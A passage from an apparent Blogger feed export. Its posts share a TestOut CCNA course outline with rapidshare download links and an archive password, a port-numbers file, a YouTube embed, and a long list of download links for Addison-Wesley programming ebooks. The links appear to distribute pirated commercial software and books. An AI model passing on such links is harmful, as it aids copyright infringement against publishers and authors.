Tree&lt;br /&gt;&lt;br /&gt;        5.4.1 Spanning Tree&lt;br /&gt;        5.4.2 Spanning Tree Facts&lt;br /&gt;        5.4.3 Spanning Tree Command List&lt;br /&gt;        5.4.4 Enable and Disable STP&lt;br /&gt;        5.4.5 EtherChannel&lt;br /&gt;        5.4.6 EtherChannel Facts&lt;br /&gt;        5.4.7 ExamSim Questions - Section 5.4&lt;br /&gt;&lt;br /&gt;    5.5 Advanced Switching&lt;br /&gt;&lt;br /&gt;        5.5.1 Switch Port Security&lt;br /&gt;        5.5.2 Port Security Facts&lt;br /&gt;        5.5.3 Default Switch Configuration&lt;br /&gt;        5.5.4 Inter-VLAN Routing&lt;br /&gt;        5.5.5 Layer 3 Switching&lt;br /&gt;&lt;br /&gt;6.0 Managing TCP/IP (54 questions)&lt;br /&gt;&lt;br /&gt;    6.1 Subnetting&lt;br /&gt;&lt;br /&gt;        6.1.1 Classless Interdomain Routing (CIDR)&lt;br /&gt;        6.1.2 Subnetting Tasks&lt;br /&gt;        6.1.3 Subnetting Scenarios&lt;br /&gt;        6.1.4 Binary Calculations&lt;br /&gt;        6.1.5 Identifying Subnets and Hosts&lt;br /&gt;        6.1.6 Identify the Number of Subnets and Hosts&lt;br /&gt;        6.1.7 Selecting a Subnet Mask&lt;br /&gt;        6.1.8 Select a Subnet Mask&lt;br /&gt;        6.1.9 Identifying Valid Subnets&lt;br /&gt;        6.1.10 Identify Valid Subnets&lt;br /&gt;        6.1.11 Identifying the Host Range&lt;br /&gt;        6.1.12 Identify Addresses&lt;br /&gt;        6.1.13 Subnetting Operations&lt;br /&gt;&lt;br /&gt;    6.2 Configuring IP&lt;br /&gt;&lt;br /&gt;        6.2.1 IP Configuration&lt;br /&gt;        6.2.2 Configure an IP Address 1&lt;br /&gt;        6.2.3 Configure an IP Address 2&lt;br /&gt;        6.2.4 Configure IP Addresses&lt;br /&gt;        6.2.5 ExamSim Questions - Section 6.2&lt;br /&gt;&lt;br /&gt;    6.3 Address Resolution&lt;br /&gt;&lt;br /&gt;        6.3.1 Address Resolution&lt;br /&gt;        6.3.2 The DHCP Process&lt;br /&gt;        6.3.3 Address Resolution Protocols&lt;br /&gt;        6.3.4 Network Address Translation (NAT)&lt;br /&gt;        6.3.5 NAT Facts&lt;br /&gt;        6.3.6 NAT Command List&lt;br /&gt;        6.3.7 ExamSim Questions - Section 6.3&lt;br /&gt;&lt;br /&gt;    6.4 Troubleshooting IP&lt;br /&gt;&lt;br /&gt;        6.4.1 Troubleshooting IP&lt;br /&gt;        6.4.2 Traceroute and TTL&lt;br /&gt;        6.4.3 IP Troubleshooting&lt;br /&gt;        6.4.4 ICMP Messages&lt;br /&gt;        6.4.5 ExamSim Questions - Section 6.4&lt;br /&gt;&lt;br /&gt;7.0 Access Lists (25 questions)&lt;br /&gt;&lt;br /&gt;    7.1 Access List Concepts&lt;br /&gt;&lt;br /&gt;        7.1.1 Access Lists&lt;br /&gt;        7.1.2 Access List Facts&lt;br /&gt;        7.1.3 ExamSim Questions - Section 7.1&lt;br /&gt;&lt;br /&gt;    7.2 Configuring Access Lists&lt;br /&gt;&lt;br /&gt;        7.2.1 Configuring Standard IP Access Lists&lt;br /&gt;        7.2.2 Configuring Extended IP Access Lists&lt;br /&gt;        7.2.3 IP Access List Command List&lt;br /&gt;        7.2.4 Deny Traffic from Specific Hosts&lt;br /&gt;        7.2.5 Deny Traffic from Specific Networks&lt;br /&gt;        7.2.6 Permit Traffic&lt;br /&gt;        7.2.7 Permit Traffic from Specific Hosts&lt;br /&gt;        7.2.8 Permit Traffic from Specific Networks&lt;br /&gt;        7.2.9 Apply a List to an Interface&lt;br /&gt;        7.2.10 Remove a List from an Interface&lt;br /&gt;        7.2.11 Apply Access Lists to Interfaces&lt;br /&gt;        7.2.12 ExamSim Questions - Section 7.2&lt;br /&gt;&lt;br /&gt;    7.3 Working with Wildcard Masks&lt;br /&gt;&lt;br /&gt;        7.3.1 Wildcard Masks&lt;br /&gt;        7.3.2 Calculating Wildcard Masks&lt;br /&gt;        7.3.3 Use Wildcard Masks 1&lt;br /&gt;        7.3.4 Use Wildcard Masks 2&lt;br /&gt;        7.3.5 Use Wildcard Masks 3&lt;br /&gt;        7.3.6 Use Wildcard Masks 4&lt;br /&gt;&lt;br /&gt;    7.4 Designing and Monitoring Access Lists&lt;br /&gt;&lt;br /&gt;        7.4.1 Designing Access Lists&lt;br /&gt;        7.4.2 Access List Design Practice 1&lt;br /&gt;        7.4.3 Access List Design Practice 2&lt;br /&gt;        7.4.4 Access List Design Practice 3&lt;br /&gt;        7.4.5 Access List Design Practice 4&lt;br /&gt;        7.4.6 Monitoring Access Lists&lt;br /&gt;        7.4.7 ExamSim Questions - Section 7.4&lt;br /&gt;&lt;br /&gt;8.0 IP Routing (71 questions)&lt;br /&gt;&lt;br /&gt;    8.1 Routing Concepts&lt;br /&gt;&lt;br /&gt;        8.1.1 Routing&lt;br /&gt;        8.1.2 Routing Protocols&lt;br /&gt;        8.1.3 Distance Vector Routing&lt;br /&gt;        8.1.4 Routing Loops&lt;br /&gt;        8.1.5 Distance Vector Routing Facts&lt;br /&gt;        8.1.6 Link State Routing&lt;br /&gt;        8.1.7 Link State Route Discovery&lt;br /&gt;        8.1.8 Link State Routing Facts&lt;br /&gt;        8.1.9 ExamSim Questions - Section 8.1&lt;br /&gt;&lt;br /&gt;    8.2 Static Routes&lt;br /&gt;&lt;br /&gt;        8.2.1 Default and Static Routes&lt;br /&gt;        8.2.2 Adding Manual Routes&lt;br /&gt;        8.2.3 Static Route Command List&lt;br /&gt;        8.2.4 Configure Static Routes 1&lt;br /&gt;        8.2.5 Configure Static Routes 2&lt;br /&gt;        8.2.6 Configure Static Routes 3&lt;br /&gt;        8.2.7 ExamSim Questions - Section 8.2&lt;br /&gt;&lt;br /&gt;    8.3 Configuring RIP&lt;br /&gt;&lt;br /&gt;        8.3.1 RIP Facts&lt;br /&gt;        8.3.2 Configuring RIP&lt;br /&gt;        8.3.3 RIP Command List&lt;br /&gt;        8.3.4 View the Routing Table&lt;br /&gt;        8.3.5 Examining the Routing Table&lt;br /&gt;        8.3.6 Configure RIP Networks 1&lt;br /&gt;        8.3.7 Configure RIP Networks 2&lt;br /&gt;        8.3.8 Disable IP Routing&lt;br /&gt;        8.3.9 Configure RIP Routing 1&lt;br /&gt;        8.3.10 Configure RIP Routing 2&lt;br /&gt;        8.3.11 Configure RIP Routing (3 routers)&lt;br /&gt;        8.3.12 Exploring Network Addressing&lt;br /&gt;        8.3.13 ExamSim Questions - Section 8.3&lt;br /&gt;&lt;br /&gt;    8.4 Troubleshooting RIP&lt;br /&gt;&lt;br /&gt;        8.4.1 RIP Troubleshooting Introduction&lt;br /&gt;        8.4.2 Troubleshoot RIP 1&lt;br /&gt;        8.4.3 Troubleshoot RIP 2&lt;br /&gt;        8.4.4 Troubleshoot RIP 3&lt;br /&gt;        8.4.5 Troubleshoot RIP 4&lt;br /&gt;        8.4.6 Troubleshoot RIP 5&lt;br /&gt;        8.4.7 Troubleshoot RIP 6&lt;br /&gt;        8.4.8 Debugging RIP&lt;br /&gt;        8.4.9 RIP Debugging&lt;br /&gt;        8.4.10 ExamSim Questions - Section 8.4&lt;br /&gt;&lt;br /&gt;    8.5 Additional Configuration Practice&lt;br /&gt;&lt;br /&gt;        8.5.1 RIP Practice Network Diagram&lt;br /&gt;        8.5.2 Configure the LAX Router&lt;br /&gt;        8.5.3 Configure the SFO Router&lt;br /&gt;        8.5.4 Configure the SEA Router&lt;br /&gt;        8.5.5 Configure the BOI Router&lt;br /&gt;        8.5.6 Configure the DEN Router&lt;br /&gt;&lt;br /&gt;    8.6 Configuring IGRP&lt;br /&gt;&lt;br /&gt;        8.6.1 IGRP Facts&lt;br /&gt;        8.6.2 Configuring IGRP&lt;br /&gt;        8.6.3 IGRP Command List&lt;br /&gt;        8.6.4 Configure IGRP Networks&lt;br /&gt;        8.6.5 Configure IGRP Routing 1&lt;br /&gt;        8.6.6 Configure IGRP Communication&lt;br /&gt;        8.6.7 Configure IGRP Routing 2&lt;br /&gt;        8.6.8 Exploring the AS Number&lt;br /&gt;        8.6.9 Exploring RIP and IGRP Interaction&lt;br /&gt;        8.6.10 ExamSim Questions - Section 8.6&lt;br /&gt;&lt;br /&gt;    8.7 Troubleshooting IGRP&lt;br /&gt;&lt;br /&gt;        8.7.1 IGRP Troubleshooting Introduction&lt;br /&gt;        8.7.2 Troubleshoot IGRP 1&lt;br /&gt;        8.7.3 Troubleshoot IGRP 2&lt;br /&gt;        8.7.4 Troubleshoot IGRP 3&lt;br /&gt;        8.7.5 ExamSim Questions - Section 8.7&lt;br /&gt;&lt;br /&gt;    8.8 OSPF&lt;br /&gt;&lt;br /&gt;        8.8.1 OSPF Design&lt;br /&gt;        8.8.2 OSPF Facts&lt;br /&gt;        8.8.3 Configuring OSPF&lt;br /&gt;        8.8.4 OSPF Command List&lt;br /&gt;        8.8.5 Configure OSPF Networks&lt;br /&gt;        8.8.6 Exploring OSPF&lt;br /&gt;        8.8.7 Configure OSPF Routing&lt;br /&gt;        8.8.8 Managing OSPF&lt;br /&gt;        8.8.9 Troubleshoot OSPF 1&lt;br /&gt;        8.8.10 Troubleshoot OSPF 2&lt;br /&gt;        8.8.11 Troubleshoot OSPF 3&lt;br /&gt;        8.8.12 ExamSim Questions - Section 8.8&lt;br /&gt;&lt;br /&gt;    8.9 EIGRP&lt;br /&gt;&lt;br /&gt;        8.9.1 EIGRP Facts&lt;br /&gt;        8.9.2 EIGRP Command List&lt;br /&gt;        8.9.3 Configure EIGRP Networks&lt;br /&gt;        8.9.4 Configure EIGRP Routing&lt;br /&gt;        8.9.5 Troubleshoot EIGRP 1&lt;br /&gt;        8.9.6 Troubleshoot EIGRP 2&lt;br /&gt;        8.9.7 Troubleshoot EIGRP 3&lt;br /&gt;        8.9.8 ExamSim Questions - Section 8.9&lt;br /&gt;&lt;br /&gt;    8.10 Routing Protocol Comparison&lt;br /&gt;&lt;br /&gt;        8.10.1 Routing Protocol Comparison&lt;br /&gt;        8.10.2 Routing Administrative Distances&lt;br /&gt;        8.10.3 ExamSim Questions - Section 8.10&lt;br /&gt;&lt;br /&gt;9.0 Wide Area Networking (12 questions)&lt;br /&gt;&lt;br /&gt;    9.1 WAN Concepts&lt;br /&gt;&lt;br /&gt;        9.1.1 WAN Communication&lt;br /&gt;        9.1.2 WAN Structure&lt;br /&gt;        9.1.3 WAN Services&lt;br /&gt;        9.1.4 WAN Services Facts&lt;br /&gt;        9.1.5 WAN Encapsulation&lt;br /&gt;        9.1.6 WAN Encapsulation Facts&lt;br /&gt;        9.1.7 ExamSim Questions - Section 9.1&lt;br /&gt;&lt;br /&gt;10.0 Point-to-Point Protocol (PPP) (15 questions)&lt;br /&gt;&lt;br /&gt;    10.1 PPP&lt;br /&gt;&lt;br /&gt;        10.1.1 PPP Concepts&lt;br /&gt;        10.1.2 Establishing a PPP Session&lt;br /&gt;        10.1.3 PPP Facts&lt;br /&gt;        10.1.4 Setting PPP Encapsulation&lt;br /&gt;        10.1.5 PPP Command List&lt;br /&gt;        10.1.6 Exploring Serial Encapsulation&lt;br /&gt;        10.1.7 Configure PPP&lt;br /&gt;        10.1.8 ExamSim Questions - Section 10.1&lt;br /&gt;&lt;br /&gt;11.0 Frame Relay (25 questions)&lt;br /&gt;&lt;br /&gt;    11.1 Frame Relay Concepts&lt;br /&gt;&lt;br /&gt;        11.1.1 Frame Relay&lt;br /&gt;        11.1.2 Frame Relay Communication&lt;br /&gt;        11.1.3 Frame Relay Facts&lt;br /&gt;        11.1.4 Frame Relay Protocols&lt;br /&gt;        11.1.5 ExamSim Questions - Section 11.1&lt;br /&gt;&lt;br /&gt;    11.2 Enabling Frame Relay&lt;br /&gt;&lt;br /&gt;        11.2.1 Configuring Frame Relay&lt;br /&gt;        11.2.2 Frame Relay Command List&lt;br /&gt;        11.2.3 Exploring Inverse ARP&lt;br /&gt;        11.2.4 Configure Frame Relay Encapsulation&lt;br /&gt;        11.2.5 Configure Frame Relay Communication&lt;br /&gt;        11.2.6 Disable Inverse ARP&lt;br /&gt;        11.2.7 ExamSim Questions - Section 11.2&lt;br /&gt;&lt;br /&gt;    11.3 Static Mappings&lt;br /&gt;&lt;br /&gt;        11.3.1 Exploring Static Mappings&lt;br /&gt;        11.3.2 Add a Static Map&lt;br /&gt;        11.3.3 Configure Static Mappings&lt;br /&gt;        11.3.4 Configure Frame Relay Links&lt;br /&gt;&lt;br /&gt;    11.4 Subinterfaces&lt;br /&gt;&lt;br /&gt;        11.4.1 Subinterfaces&lt;br /&gt;        11.4.2 Subinterfaces Facts&lt;br /&gt;        11.4.3 Configuring Serial Subinterfaces: Multipoint&lt;br /&gt;        11.4.4 Configuring Serial Subinterfaces: Point-to-Point&lt;br /&gt;        11.4.5 Frame Relay Subinterface Command List&lt;br /&gt;        11.4.6 Configure Point-to-Point Frame Relay&lt;br /&gt;        11.4.7 Configure Multipoint Frame Relay&lt;br /&gt;        11.4.8 Configure a Subinterface 1&lt;br /&gt;        11.4.9 Configure a Subinterface 2&lt;br /&gt;        11.4.10 ExamSim Questions - Section 11.4&lt;br /&gt;&lt;br /&gt;    11.5 Troubleshooting Frame Relay&lt;br /&gt;&lt;br /&gt;        11.5.1 Frame Relay Troubleshooting Introduction&lt;br /&gt;        11.5.2 Troubleshoot Frame Relay 1&lt;br /&gt;        11.5.3 Troubleshoot Frame Relay 2&lt;br /&gt;        11.5.4 Troubleshoot Frame Relay 3&lt;br /&gt;        11.5.5 Troubleshoot Frame Relay 4&lt;br /&gt;        11.5.6 Troubleshoot Frame Relay 5&lt;br /&gt;        11.5.7 Monitoring Frame Relay&lt;br /&gt;        11.5.8 ExamSim Questions - Section 11.5&lt;br /&gt;&lt;br /&gt;12.0 ISDN (38 questions)&lt;br /&gt;&lt;br /&gt;    12.1 ISDN Concepts&lt;br /&gt;&lt;br /&gt;        12.1.1 ISDN&lt;br /&gt;        12.1.2 ISDN Facts&lt;br /&gt;        12.1.3 ISDN Protocol Standards&lt;br /&gt;        12.1.4 ISDN Components and Reference Points&lt;br /&gt;        12.1.5 ISDN Addressing&lt;br /&gt;        12.1.6 ISDN Communication&lt;br /&gt;        12.1.7 ISDN Communication Facts&lt;br /&gt;        12.1.8 ExamSim Questions - Section 12.1&lt;br /&gt;&lt;br /&gt;    12.2 Configuring BRI Interfaces&lt;br /&gt;&lt;br /&gt;        12.2.1 Configuring ISDN BRI&lt;br /&gt;        12.2.2 ISDN Command List&lt;br /&gt;        12.2.3 About ISDN Simulations&lt;br /&gt;        12.2.4 Configure the Switch Type&lt;br /&gt;        12.2.5 Configure SPIDs&lt;br /&gt;        12.2.6 Exploring BRI Status&lt;br /&gt;        12.2.7 Exploring ISDN Status&lt;br /&gt;        12.2.8 Configure BRI Connections&lt;br /&gt;        12.2.9 Configure BRI Communications&lt;br /&gt;        12.2.10 ExamSim Questions - Section 12.2&lt;br /&gt;&lt;br /&gt;    12.3 Dial-on-Demand Routing (DDR)&lt;br /&gt;&lt;br /&gt;        12.3.1 Dial-on-Demand Routing&lt;br /&gt;        12.3.2 The DDR Process&lt;br /&gt;        12.3.3 DDR Facts&lt;br /&gt;        12.3.4 Configuring Dial-on-Demand Routing (DDR)&lt;br /&gt;        12.3.5 DDR Command List&lt;br /&gt;        12.3.6 Configure a Dialer Group&lt;br /&gt;        12.3.7 Exploring Dialer Strings and Maps&lt;br /&gt;        12.3.8 Configure Dialer Strings&lt;br /&gt;        12.3.9 Configure Dialer Maps&lt;br /&gt;        12.3.10 Configure a DDR Connection&lt;br /&gt;        12.3.11 Configure DDR Communications 1&lt;br /&gt;        12.3.12 Configure Static DDR Routes&lt;br /&gt;        12.3.13 Configure DDR Communications 2&lt;br /&gt;        12.3.14 ExamSim Questions - Section 12.3&lt;br /&gt;&lt;br /&gt;    12.4 DDR Timers&lt;br /&gt;&lt;br /&gt;        12.4.1 DDR Timers&lt;br /&gt;        12.4.2 Set the Idle Timer&lt;br /&gt;        12.4.3 Set the Fast Idle Timer&lt;br /&gt;        12.4.4 Configure DDR Timers&lt;br /&gt;        12.4.5 Reset the DDR Timers&lt;br /&gt;        12.4.6 ExamSim Questions - Section 12.4&lt;br /&gt;&lt;br /&gt;    12.5 Complete ISDN Configuration&lt;br /&gt;&lt;br /&gt;        12.5.1 ISDN Configuration Process&lt;br /&gt;        12.5.2 Configure ISDN/DDR Communications&lt;br /&gt;        12.5.3 Configure ISDN/DDR Routing&lt;br /&gt;&lt;br /&gt;    12.6 Troubleshooting ISDN BRI&lt;br /&gt;&lt;br /&gt;        12.6.1 DDR Show Commands&lt;br /&gt;        12.6.2 ISDN Troubleshooting Introduction&lt;br /&gt;        12.6.3 Troubleshoot BRI Connections 1&lt;br /&gt;        12.6.4 Troubleshoot BRI Connections 2&lt;br /&gt;        12.6.5 Troubleshoot BRI Connections 3&lt;br /&gt;        12.6.6 Troubleshoot BRI Connections 4&lt;br /&gt;        12.6.7 Troubleshoot BRI Connections 5&lt;br /&gt;        12.6.8 ExamSim Questions - Section 12.6&lt;br /&gt;&lt;br /&gt;ExamSim (550 questions)&lt;br /&gt;&lt;br /&gt;    Preparing for Certification&lt;br /&gt;&lt;br /&gt;        Exam Objectives&lt;br /&gt;        Exam FAQs&lt;br /&gt;        How to Register for an Exam&lt;br /&gt;        Exam-taking Hints and Tips&lt;br /&gt;&lt;br /&gt;    Objective 100, All Questions (68 questions)&lt;br /&gt;    Objective 200, All Questions (176 questions)&lt;br /&gt;    Objective 300, All Questions (90 questions)&lt;br /&gt;    Objective 400, All Questions (216 questions)&lt;br /&gt;    Typical Exam&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Brief Description&lt;br /&gt;CODE&lt;br /&gt;Through the powerful multimedia and simulation tools, TestOut provides a unique and powerful training program to fully and adequately prepare students to become CCNA certified. Gain hands-on experience with protocols such as IP RIP, RIP, Ethernet, Access Lists, and so much more before taking certification exams. TestOut’s break-through technology and training courses are guaranteed to help students achieve passing exam scores to become CCNA certified.&lt;br /&gt;&lt;br /&gt;Product Features:&lt;br /&gt;&lt;br /&gt;CourseSim&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;CourseSim is a comprehensive learning tool that is aligned with vendor-developed certification objectives. The CourseSim materials integrate multimedia technologies, applied simulation technologies, instructional animations, and technical graphic images into a sophisticated learning environment.&lt;br /&gt;&lt;br /&gt;LabSim&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;LabSim is the world's highest fidelity simulation product that aligns with the leading IT certifications. LabSim allows you to simulate hardware, operating systems and network configurations on your computer without the need of additional hardware or software. It is like having an interactive learning lab, without the expensive setup costs.&lt;br /&gt;&lt;br /&gt;ExamSim&lt;br /&gt;&lt;br /&gt;ExamSim software is designed to give students practical experience for taking certification exams. The tests look and feel just like the actual exams. This tool is critical to assess practical knowledge of training objectives and concepts. Each exam title comes with hundreds of randomized practice questions that cover all official exam objectives.&lt;br /&gt;Download&lt;br /&gt;CODE&lt;br /&gt;http://rapidshare.com/files/61162586/640-801.ace&lt;br /&gt;http://rapidshare.com/files/61176939/640-801.c00&lt;br /&gt;http://rapidshare.com/files/61189530/640-801.c01&lt;br /&gt;http://rapidshare.com/files/61206493/640-801.c02&lt;br /&gt;http://rapidshare.com/files/61213830/640-801.c03&lt;br /&gt;http://rapidshare.com/files/61221344/640-801.c04&lt;br /&gt;http://rapidshare.com/files/61229910/640-801.c05&lt;br /&gt;http://rapidshare.com/files/61235925/640-801.c06&lt;br /&gt;http://rapidshare.com/files/61242820/640-801.c07&lt;br /&gt;http://rapidshare.com/files/61365622/640-801.c08&lt;br /&gt;http://rapidshare.com/files/61384001/640-801.c09&lt;br /&gt;http://rapidshare.com/files/61392963/640-801.c10&lt;br /&gt;http://rapidshare.com/files/61404692/640-801.c11&lt;br /&gt;&lt;br /&gt;Password&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;pakistan or Pakistan&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-6697565086850470375?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='' href='http://i20.tinypic.com/k2lsi1.jpg' length='0'/><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/6697565086850470375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=6697565086850470375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6697565086850470375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6697565086850470375'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/11/ccna-video-tutorial.html' title='CCNA VIDEO TUTORIAL'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4055476141631634006</id><published>2007-05-03T02:48:00.001-07:00</published><updated>2007-05-03T02:48:44.236-07:00</updated><title type='text'></title><content type='html'>&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ItjArExrJIE"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ItjArExrJIE" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4055476141631634006?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4055476141631634006/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4055476141631634006' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4055476141631634006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4055476141631634006'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/05/blog-post.html' title=''/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-115583894965470488</id><published>2006-08-17T11:19:00.000-07:00</published><updated>2006-08-17T11:22:29.953-07:00</updated><title type='text'>INTERNET PORT GYAN</title><content type='html'>hello everyone check out this file if u r interested in knowing about ur computer ports &lt;br /&gt;this explains which port is used for which service&lt;br /&gt;&lt;a href="http://rapidshare.de/files/29766308/port-numbers.TXT" target="_blank"&gt;http://rapidshare.de/files/29766308/port-numbers.TXT&lt;/a&gt;&lt;/td&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-115583894965470488?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/115583894965470488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=115583894965470488' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115583894965470488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115583894965470488'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2006/08/internet-port-gyan.html' title='INTERNET PORT GYAN'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-115546246307158342</id><published>2006-08-13T02:43:00.000-07:00</published><updated>2006-08-13T02:47:43.076-07:00</updated><title type='text'>ALL ABOUT EBOOKS</title><content type='html'>Addison Wesley eBook Pack&lt;br /&gt;&lt;br /&gt;Addison.Wesley.A.Programmers.Guide.To.Java.Certifi cation.2nd.Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=KPAMCU7D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Advanced.CORBA.Programming.with.C++&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=DBCZNXVE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Advanced.Linux.Networking&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=SMY1AGTW&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Algorithms.In.Java.3rd.Ed.Part5.Gra ph.Algorithms&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=GUJIY09E&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Applying.Enterprise.JavaBeans.2nd.E dition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=O18VU710&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C.Sharp.Developer's.Guide.to.ASP.NE T.XML.and.ADO.NET&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=KSUR2D0S&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C++.Network Programming,Volume.1&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=9U6V7882&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C++.Network Programming,Volume.2&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=9X425Y25&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C++.Primer, Third Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=7J7K6WZ8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C++.Standard Library,The.A.Tutorial.and.Reference&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=PF81OCDK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.C++.Templates-The.Complete.Guide&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=6ST96C8O&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Designing.Components with the C++ STL&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=N2CHU3RA&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Developing.Enterprise Java Applications with J2EE and UML&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=NHZOHOIB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Dot.NET For Java Developers Migrating To C Sharp&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=NADJUW2T&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Effcient.C++ Programming Techniques&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=HVDI5KAL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Effective.XML.50.Specific.Ways.To.I mprove.Your.XML&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=DV537Z0A&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Efficient.C++ Performance Programming Techniques&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=P6K1D1B4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Enterprise.Java.2.Security.Building .Secure.and.Robust.J2EE.Applications&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=NO8I3RCF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Enterprise.Java.Programming.With.IB M.WebSphere.Second.Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=T6PEX3UR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Essential.C++&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=HJAZ3S3Y&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Essential.XML Quick Reference&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=TU7ZDB47&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Exceptional.C++ - 47 Engineering Puzzles, Programming Problems, and Solutions&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=GCJNF78D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.FlashAndXMLADevelopersGuide&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=OGYINNRJ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.From.Java To C Sharp A Developers Guide&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=0T9BKBW9&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Guerrilla.Oracle&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=3B7JH9OR&lt;br /&gt;&lt;br /&gt;&lt;br 